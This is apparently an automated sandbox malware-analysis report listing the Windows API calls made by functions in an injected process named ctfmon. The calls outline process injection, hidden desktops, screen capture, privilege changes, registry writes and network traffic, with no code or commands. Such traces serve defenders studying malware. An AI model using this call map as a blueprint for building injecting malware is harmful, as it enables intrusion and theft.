      • Part of subcall function 00A480EB: HeapAlloc.KERNEL32(00000008,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?,?), ref: 00A4810D
      • Part of subcall function 00A480EB: HeapReAlloc.KERNEL32(00000008,?,?,00A4847D,?,00A37A97,?,00A48FC7,?,?,00A37A97,?,?,00A48F77,?,?), ref: 00A4811E
      • Part of subcall function 00A56DB7: OpenProcess.KERNEL32(?,00000000,?), ref: 00A56DE0
      • Part of subcall function 00A56DB7: CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00A56E2B
      • Part of subcall function 00A56DB7: MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000000), ref: 00A56E4E
      • Part of subcall function 00A56DB7: NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00A56E60
      • Part of subcall function 00A56DB7: ReadProcessMemory.KERNEL32(?,?,00000000,00000000,00000000), ref: 00A56E7C
      • Part of subcall function 00A56DB7: NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00A56EAE
      • Part of subcall function 00A56DB7: NtMapViewOfSection.NTDLL(?,?,00C1FF78,00000000), ref: 00A56ECC
      • Part of subcall function 00A56DB7: FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00A56EDA
      • Part of subcall function 00A56DB7: NtResumeProcess.NTDLL(?,?,?,00000000), ref: 00A56EE5
      • Part of subcall function 00A56DB7: Sleep.KERNEL32(00000064), ref: 00A56EF2
      • Part of subcall function 00A56DB7: UnmapViewOfFile.KERNEL32(00000000), ref: 00A56EFB
      • Part of subcall function 00A56DB7: CloseHandle.KERNEL32(?), ref: 00A56F04
      • Part of subcall function 00A56DB7: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00A56F1D
      • Part of subcall function 00A56DB7: WaitForSingleObject.KERNEL32(?,00002710), ref: 00A56F2F
      • Part of subcall function 00A56DB7: CloseHandle.KERNEL32 ref: 00A56F36
      • Part of subcall function 00A56DB7: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A56F4F
      • Part of subcall function 00A56DB7: CloseHandle.KERNEL32 ref: 00A56F56
    • Process32NextW.KERNEL32(?,0000022C), ref: 00A570B8
    • CloseHandle.KERNEL32(?), ref: 00A570C9
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5BD28, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A5BD39
    • SetThreadPriority.KERNEL32 ref: 00A5BD40
      • Part of subcall function 00A5886A: OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00A5888F
      • Part of subcall function 00A5886A: CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00A588A2
      • Part of subcall function 00A5886A: GetProcessWindowStation.USER32 ref: 00A588B3
      • Part of subcall function 00A5886A: OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00A588EE
      • Part of subcall function 00A5886A: CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00A58902
      • Part of subcall function 00A5886A: GetCurrentThreadId.KERNEL32 ref: 00A5890E
      • Part of subcall function 00A5886A: GetThreadDesktop.USER32 ref: 00A58915
      • Part of subcall function 00A5886A: SetThreadDesktop.USER32 ref: 00A58927
      • Part of subcall function 00A5886A: CloseDesktop.USER32 ref: 00A58939
      • Part of subcall function 00A5886A: CloseWindowStation.USER32(?), ref: 00A58954
      • Part of subcall function 00A5B7E3: TlsAlloc.KERNEL32(?,00A645C0,00000000), ref: 00A5B7FD
      • Part of subcall function 00A5B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00A645C0,00000000), ref: 00A5B824
      • Part of subcall function 00A5B7E3: CreateEventW.KERNEL32(00A62AFC,00000001,00000000,?), ref: 00A5B84B
      • Part of subcall function 00A5B7E3: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A5B86B
      • Part of subcall function 00A5B7E3: CreateFileMappingW.KERNEL32(00000000,00A62AFC,00000004,00000000,03D09128,?), ref: 00A5B893
      • Part of subcall function 00A5B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00A5B8A9
      • Part of subcall function 00A5B7E3: GetDC.USER32(00000000), ref: 00A5B8C6
      • Part of subcall function 00A5B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00A5B8E6
      • Part of subcall function 00A5B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A5B8F0
      • Part of subcall function 00A5B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00A5B8FD
      • Part of subcall function 00A5B7E3: ReleaseDC.USER32(00000000,00000000), ref: 00A5B925
      • Part of subcall function 00A5B7E3: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A5B9C9
      • Part of subcall function 00A5B7E3: GetDC.USER32(00000000), ref: 00A5B9DE
      • Part of subcall function 00A5B7E3: CreateCompatibleDC.GDI32 ref: 00A5B9EB
      • Part of subcall function 00A5B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00A5BA00
      • Part of subcall function 00A5B7E3: SelectObject.GDI32(?), ref: 00A5BA17
      • Part of subcall function 00A5B7E3: ReleaseDC.USER32(00000000), ref: 00A5BA2D
      • Part of subcall function 00A5BA3D: DeleteObject.GDI32(00000000), ref: 00A5BA4D
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BA5D
      • Part of subcall function 00A5BA3D: TlsFree.KERNEL32 ref: 00A5BA68
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BA76
      • Part of subcall function 00A5BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00A5BA80
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32 ref: 00A5BA8D
      • Part of subcall function 00A5BA3D: SelectObject.GDI32(00000000,00000000), ref: 00A5BAA7
      • Part of subcall function 00A5BA3D: DeleteObject.GDI32(00000000), ref: 00A5BAB8
      • Part of subcall function 00A5BA3D: DeleteDC.GDI32(00000000), ref: 00A5BAC5
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BAD6
      • Part of subcall function 00A5BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A5BAE5
      • Part of subcall function 00A5BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A5BC3C,00000000,00A645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A5BAFE
      • Part of subcall function 00A46373: WSAGetLastError.WS2_32(?,00000001,0000000A,00000000,?,001B7740,?,00000003,001B7740,?,001B7740,?,?,00000018,?), ref: 00A46639
      • Part of subcall function 00A46373: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A46654
      • Part of subcall function 00A46373: ReleaseMutex.KERNEL32 ref: 00A466E6
      • Part of subcall function 00A46373: GetSystemMetrics.USER32(00000017), ref: 00A46806
      • Part of subcall function 00A46373: ReleaseMutex.KERNEL32 ref: 00A46B93
    • GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00A5BD97
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A5BDC9
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • WaitForSingleObject.KERNEL32(?,00001388), ref: 00A5BE29
    • CloseHandle.KERNEL32(?), ref: 00A5BE39
    • CloseHandle.KERNEL32(?), ref: 00A5BE3F
    • SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00A5BE4E
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5C822, Relevance: 12.1, APIs: 8, Instructions: 107
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A5C836
    • ReleaseMutex.KERNEL32 ref: 00A5C855
    • GetWindowRect.USER32(?,?), ref: 00A5C862
    • IsRectEmpty.USER32(?), ref: 00A5C8E6
    • GetWindowLongW.USER32(?,000000F0), ref: 00A5C8F5
    • GetParent.USER32(?), ref: 00A5C90B
    • MapWindowPoints.USER32(00000000), ref: 00A5C914
    • SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00A5C938
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A506F0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 190
    APIs
    • EnterCriticalSection.KERNEL32(00A63F6C,0000FDE9,?), ref: 00A507A7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • LeaveCriticalSection.KERNEL32(00A63F6C,000000FF,000000FF), ref: 00A50802
    • EnterCriticalSection.KERNEL32(00A63F6C), ref: 00A5081D
    • getpeername.WS2_32 ref: 00A508D1
      • Part of subcall function 00A4B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00A4B9C7
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A3A4DE, Relevance: 10.7, APIs: 7, Instructions: 173
    APIs
    • recv.WS2_32(?,?,00000001,00000000), ref: 00A3A4FD
      • Part of subcall function 00A4BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00A4BD50
      • Part of subcall function 00A4BD45: CloseHandle.KERNEL32 ref: 00A4BD5B
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 00A3A57C
      • Part of subcall function 00A3A45D: getsockname.WS2_32(?,?,?), ref: 00A3A4B4
      • Part of subcall function 00A4B463: #19.WS2_32(3C3D0F99,3C3D0F99,3C3D0F99,00000000,00A4FC25,?,?,00000005,?,?,?,00A5ABDA,?,00000001,?,?), ref: 00A4B471
    • CreateMutexW.KERNEL32(00000000,00000001,?), ref: 00A3A5BE
      • Part of subcall function 00A4B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00A4B866
      • Part of subcall function 00A4B7E9: WSASetLastError.WS2_32(0000274C,?,?,?), ref: 00A4B877
    • accept.WS2_32(00000001,00000000,00000000), ref: 00A3A5FF
    • CloseHandle.KERNEL32(?), ref: 00A3A616
    • CloseHandle.KERNEL32(?), ref: 00A3A625
    • CloseHandle.KERNEL32(?), ref: 00A3A642
      • Part of subcall function 00A4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00A4B953
      • Part of subcall function 00A4B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00A4B92E
      • Part of subcall function 00A5BD28: GetCurrentThread.KERNEL32 ref: 00A5BD39
      • Part of subcall function 00A5BD28: SetThreadPriority.KERNEL32 ref: 00A5BD40
      • Part of subcall function 00A5BD28: GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00A5BD97
      • Part of subcall function 00A5BD28: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00A5BDC9
      • Part of subcall function 00A5BD28: WaitForSingleObject.KERNEL32(?,00001388), ref: 00A5BE29
      • Part of subcall function 00A5BD28: CloseHandle.KERNEL32(?), ref: 00A5BE39
      • Part of subcall function 00A5BD28: CloseHandle.KERNEL32(?), ref: 00A5BE3F
      • Part of subcall function 00A5BD28: SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00A5BE4E
      • Part of subcall function 00A4BD28: GetLastError.KERNEL32(7C802530,00A37E8B), ref: 00A4BD2B
      • Part of subcall function 00A4BD28: CloseHandle.KERNEL32 ref: 00A4BD39
      • Part of subcall function 00A436DA: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00A43881
      • Part of subcall function 00A436DA: freeaddrinfo.WS2_32(?), ref: 00A438BE
      • Part of subcall function 00A436DA: getsockname.WS2_32(?,?,?), ref: 00A43998
      • Part of subcall function 00A436DA: getpeername.WS2_32(?,?,?), ref: 00A439B2
      • Part of subcall function 00A436DA: recv.WS2_32(?,?,0000FFFF,00000000), ref: 00A43A6C
      • Part of subcall function 00A436DA: recvfrom.WS2_32(?,?,0000FFFF,00000000,00000017,00000080), ref: 00A43AAC
      • Part of subcall function 00A436DA: getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00A43BE9
      • Part of subcall function 00A436DA: freeaddrinfo.WS2_32(?,?,0000FFFF,00000000,00000017,00000080,?,?), ref: 00A43C4B
      • Part of subcall function 00A436DA: sendto.WS2_32(000000FF,?,?,00000000,00000017,00000010), ref: 00A43D17
      • Part of subcall function 00A436DA: recvfrom.WS2_32(000000FF,?,?,00000000,00000017,00000080), ref: 00A43D5C
      • Part of subcall function 00A436DA: sendto.WS2_32(?,?,?,00000000,?,?), ref: 00A43DD8
      • Part of subcall function 00A436DA: select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 00A43E17
      • Part of subcall function 00A43FFE: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00A440CD
      • Part of subcall function 00A43FFE: freeaddrinfo.WS2_32(?), ref: 00A44103
      • Part of subcall function 00A4B3EC: recv.WS2_32(?,?,00000004,00000000), ref: 00A4B410
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A4B8E5: shutdown.WS2_32(?,00000002), ref: 00A4B8ED
      • Part of subcall function 00A4B8E5: #3.WS2_32(?,?,00000002,00A5AC91,?,?,?,?,54C73B8B,3C3D0F99), ref: 00A4B8F4
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A3891D, Relevance: 10.6, APIs: 7, Instructions: 145
    APIs
    • LocalFree.KERNEL32 ref: 00A38959
      • Part of subcall function 00A5BBC0: GetCurrentThreadId.KERNEL32 ref: 00A5BBCA
      • Part of subcall function 00A5BBC0: GetThreadDesktop.USER32 ref: 00A5BBD1
      • Part of subcall function 00A5BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00A5BBEB
      • Part of subcall function 00A44AC6: GetCurrentThread.KERNEL32 ref: 00A44AD3
      • Part of subcall function 00A44AC6: SetThreadPriority.KERNEL32 ref: 00A44ADA
      • Part of subcall function 00A44AC6: SetEvent.KERNEL32 ref: 00A44AEC
      • Part of subcall function 00A44AC6: SetEvent.KERNEL32 ref: 00A44B39
      • Part of subcall function 00A44AC6: GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00A44B46
    • Sleep.KERNEL32(0000000A), ref: 00A38AAD
      • Part of subcall function 00A5BA3D: DeleteObject.GDI32(00000000), ref: 00A5BA4D
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BA5D
      • Part of subcall function 00A5BA3D: TlsFree.KERNEL32 ref: 00A5BA68
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BA76
      • Part of subcall function 00A5BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00A5BA80
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32 ref: 00A5BA8D
      • Part of subcall function 00A5BA3D: SelectObject.GDI32(00000000,00000000), ref: 00A5BAA7
      • Part of subcall function 00A5BA3D: DeleteObject.GDI32(00000000), ref: 00A5BAB8
      • Part of subcall function 00A5BA3D: DeleteDC.GDI32(00000000), ref: 00A5BAC5
      • Part of subcall function 00A5BA3D: CloseHandle.KERNEL32(00000000), ref: 00A5BAD6
      • Part of subcall function 00A5BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A5BAE5
      • Part of subcall function 00A5BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A5BC3C,00000000,00A645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A5BAFE
    • Sleep.KERNEL32(000000FF), ref: 00A389A1
    • ExitProcess.KERNEL32(00000000,00000000), ref: 00A389B3
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,00000040,?), ref: 00A38A5C
    • VirtualProtect.KERNEL32(7C90CFEE,00000006,?,?), ref: 00A38A75
    • CreateThread.KERNEL32(00000000,00000000,Function_00008533,00000000), ref: 00A38A96
    • NtClose.NTDLL(?,?,00000000), ref: 00A38A9E
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4DD7A, Relevance: 10.6, APIs: 7, Instructions: 109
    APIs
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00A4DDB9
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A4DDE0
      • Part of subcall function 00A4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A4DE2A
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE57
      • Part of subcall function 00A4DD7A: Sleep.KERNEL32(00000000), ref: 00A4DE87
    • FindNextFileW.KERNEL32(?,?), ref: 00A4DEB5
    • FindClose.KERNEL32(?), ref: 00A4DEC7
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49F62, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
    APIs
      • Part of subcall function 00A4D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00A4D9DF
    • CharToOemW.USER32(?,?), ref: 00A49F93
    • GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 00A4A00F
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
      • Part of subcall function 00A4D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00A4D7C4
      • Part of subcall function 00A4D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 00A4D7E7
      • Part of subcall function 00A4D7AA: CloseHandle.KERNEL32 ref: 00A4D7F4
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
      • Part of subcall function 00A48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A48EB4
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A502D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A502E2
    • SetThreadPriority.KERNEL32 ref: 00A502E9
      • Part of subcall function 00A37ED5: CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
      • Part of subcall function 00A380FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 00A3817A
    • PathQuoteSpacesW.SHLWAPI(0000005C), ref: 00A50344
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • WaitForSingleObject.KERNEL32(000000C8), ref: 00A50382
      • Part of subcall function 00A4C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A4C80C
      • Part of subcall function 00A4C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A4C826
      • Part of subcall function 00A4C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00A4C835
    • WaitForSingleObject.KERNEL32(000000C8,00C5FF50), ref: 00A503B8
      • Part of subcall function 00A4BD18: ReleaseMutex.KERNEL32 ref: 00A4BD1C
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49BF4, Relevance: 10.6, APIs: 7, Instructions: 74
    APIs
    • OpenProcessToken.ADVAPI32(000000FF,00000008,00A37CC0), ref: 00A49C04
    • GetTokenInformation.ADVAPI32(00A37CC0,00000019,00000000,00000000,00A62F90), ref: 00A49C24
    • GetLastError.KERNEL32(?,?,?,?,?,00A37855,00000000,00A37CC0,00A62F90), ref: 00A49C2A
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • GetTokenInformation.ADVAPI32(00A37CC0,00000019,?,00A62F90,00A62F90), ref: 00A49C51
    • GetSidSubAuthorityCount.ADVAPI32(?,?,00A62F90,00A62F90,?,?,?,?,?,?,00A37855,00000000,00A37CC0,00A62F90), ref: 00A49C59
    • GetSidSubAuthority.ADVAPI32(?,?,?,?,00A62F90,00A62F90,?,?,?,?,?,?,00A37855,00000000,00A37CC0,00A62F90), ref: 00A49C70
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • CloseHandle.KERNEL32(00A37CC0), ref: 00A49C9B
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4CAE9, Relevance: 10.6, APIs: 7, Instructions: 66
    APIs
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00A4CB07
    • PathAddBackslashW.SHLWAPI(?), ref: 00A4CB1E
    • PathRemoveBackslashW.SHLWAPI(?), ref: 00A4CB2F
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00A4CB3C
    • PathAddBackslashW.SHLWAPI(?), ref: 00A4CB4D
    • GetVolumeNameForVolumeMountPointW.KERNEL32(?,?,00000064), ref: 00A4CB5C
    • CLSIDFromString.OLE32(0000007B,?), ref: 00A4CB76
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4CA60, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,?,00000000), ref: 00A4CA88
      • Part of subcall function 00A4C8C5: CharUpperW.USER32(?,?,.exe,00000000), ref: 00A4C9E6
    • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 00A4CABA
    • RegCloseKey.ADVAPI32(?), ref: 00A4CAC3
    • RegCloseKey.ADVAPI32(?), ref: 00A4CADD
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49B6C, Relevance: 10.6, APIs: 7, Instructions: 52
    APIs
    • GetCurrentThread.KERNEL32 ref: 00A49B7C
    • OpenThreadToken.ADVAPI32 ref: 00A49B83
    • OpenProcessToken.ADVAPI32(000000FF,00000020,00A59F61), ref: 00A49B95
    • LookupPrivilegeValueW.ADVAPI32(00000000,00A59F61,?), ref: 00A49BB9
    • AdjustTokenPrivileges.ADVAPI32(00A59F61,00000000,00000001,00000000,00000000,00000000), ref: 00A49BCE
    • GetLastError.KERNEL32 ref: 00A49BD8
    • CloseHandle.KERNEL32(00A59F61), ref: 00A49BE7
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5BA81, Relevance: 10.5, APIs: 7, Instructions: 47
    APIs
    • CloseHandle.KERNEL32 ref: 00A5BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 00A5BAA7
    • DeleteObject.GDI32(00000000), ref: 00A5BAB8
    • DeleteDC.GDI32(00000000), ref: 00A5BAC5
    • CloseHandle.KERNEL32(00000000), ref: 00A5BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00A5BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00A5BC3C,00000000,00A645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00A5BAFE
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32(00000000), ref: 00A49EC2
      • Part of subcall function 00A49EB0: CloseHandle.KERNEL32 ref: 00A49ECB
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4BBC6, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
    APIs
      • Part of subcall function 00A49B6C: GetCurrentThread.KERNEL32 ref: 00A49B7C
      • Part of subcall function 00A49B6C: OpenThreadToken.ADVAPI32 ref: 00A49B83
      • Part of subcall function 00A49B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00A59F61), ref: 00A49B95
      • Part of subcall function 00A49B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00A59F61,?), ref: 00A49BB9
      • Part of subcall function 00A49B6C: AdjustTokenPrivileges.ADVAPI32(00A59F61,00000000,00000001,00000000,00000000,00000000), ref: 00A49BCE
      • Part of subcall function 00A49B6C: GetLastError.KERNEL32 ref: 00A49BD8
      • Part of subcall function 00A49B6C: CloseHandle.KERNEL32(00A59F61), ref: 00A49BE7
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00A4BBE5
    • GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 00A4BC01
    • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 00A4BC18
    • LocalFree.KERNEL32(?), ref: 00A4BC27
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5CA22, Relevance: 9.2, APIs: 6, Instructions: 197
    APIs
    • GetAncestor.USER32(?,00000002), ref: 00A5CA4B
    • SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00A5CA76
    • PostMessageW.USER32(?,00000020,?), ref: 00A5CAB8
      • Part of subcall function 00A5C943: GetTickCount.KERNEL32 ref: 00A5C9A9
      • Part of subcall function 00A5C943: GetClassLongW.USER32(?,000000E6), ref: 00A5C9DE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A5CB4E
    • PostMessageW.USER32(?,00000112,?,?), ref: 00A5CBA1
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 00A5CBE0
      • Part of subcall function 00A5C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A5C7B9
      • Part of subcall function 00A5C7B3: ReleaseMutex.KERNEL32 ref: 00A5C7ED
      • Part of subcall function 00A5C7B3: IsWindow.USER32(?), ref: 00A5C7F4
      • Part of subcall function 00A5C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 00A5C80E
      • Part of subcall function 00A5C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 00A5C816
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A51A14, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 424
    APIs
    • EnterCriticalSection.KERNEL32(00A63FEC,?,00000000,00000000), ref: 00A51A2F
    • LeaveCriticalSection.KERNEL32(00A63FEC,?,00000000,00000000), ref: 00A51AB2
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A51C6F
      • Part of subcall function 00A584CE: EnterCriticalSection.KERNEL32(00A64170,?,00A51C94,?,?,00004E25,10000000,?,00000000,00000000), ref: 00A584D5
      • Part of subcall function 00A584CE: LeaveCriticalSection.KERNEL32(00A64170,?,00004E25,10000000,?,00000000,00000000), ref: 00A5850A
      • Part of subcall function 00A58514: EnterCriticalSection.KERNEL32(00A64170,00000000,?,00A51DB8,?,00000000,00000000), ref: 00A58520
      • Part of subcall function 00A58514: LeaveCriticalSection.KERNEL32(00A64170,?,00000000,00000000), ref: 00A5856A
    • InternetCrackUrlA.WININET(?,?,00000000,?), ref: 00A51DEB
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
